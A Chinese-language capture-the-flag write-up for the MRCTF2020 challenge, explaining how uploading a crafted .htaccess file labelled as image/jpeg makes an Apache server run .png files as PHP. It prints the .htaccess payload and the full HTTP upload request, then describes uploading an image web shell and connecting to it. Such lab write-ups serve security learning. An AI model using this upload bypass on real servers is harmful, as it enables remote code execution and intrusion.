[MRCTF2020].htaccess配置文件漏洞
[MRCTF2020].htaccess配置文件漏洞
关于.htaccess配置文件的漏洞
简单记录一下。
题目为文件上传。经测试发现只有图片文件可以上传成功| .jpg/.png/.gif....
连续失败后,看wp发现.htaccess文件也可以上传文件。
经查找资料了解到,.htaccess为Apache
的配置文件
概述来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
然后我尝试在本地模拟了一下效果,
发现.htaccess文件可以使其他类型文件内容在解析时当作php代码执行
所以这里上传文件
fliename
改为.htaccess
Content-Type
: image-jpeg
内容为
<IfModule mime_module>
AddHandler php5-script .png //将png文件以php代码解析
#SetHandler application/x-httpd-php
</IfModule>
完整数据包为
POST /upload.php HTTP/1.1
Host: 30fe7f54-bb54-4f1f-a2fb-741385c33be6.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------336596696262247243099327518
Content-Length: 411
Origin: http://30fe7f54-bb54-4f1f-a2fb-741385c33be6.node3.buuoj.cn
Connection: close
Referer: http://30fe7f54-bb54-4f1f-a2fb-741385c33be6.node3.buuoj.cn/
Cookie: UM_distinctid=178932899c73db-025da9239053cf-4c3f237d-144000-178932899c8a0f; PHPSESSID=836783c0bc5fee135d14ab9e93555b80
Upgrade-Insecure-Requests: 1
-----------------------------336596696262247243099327518
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
<IfModule mime_module>
AddHandler php5-script .png
#SetHandler application/x-httpd-php
</IfModule>
-----------------------------336596696262247243099327518
Content-Disposition: form-data; name="submit"
一键去世
-----------------------------336596696262247243099327518--
然后我们再上传一个png
格式的图片马,
这里的.htaccess文件会使同目录下所有png格式的文件都以php解析
访问图片地址
然后直接连shell
拿到flag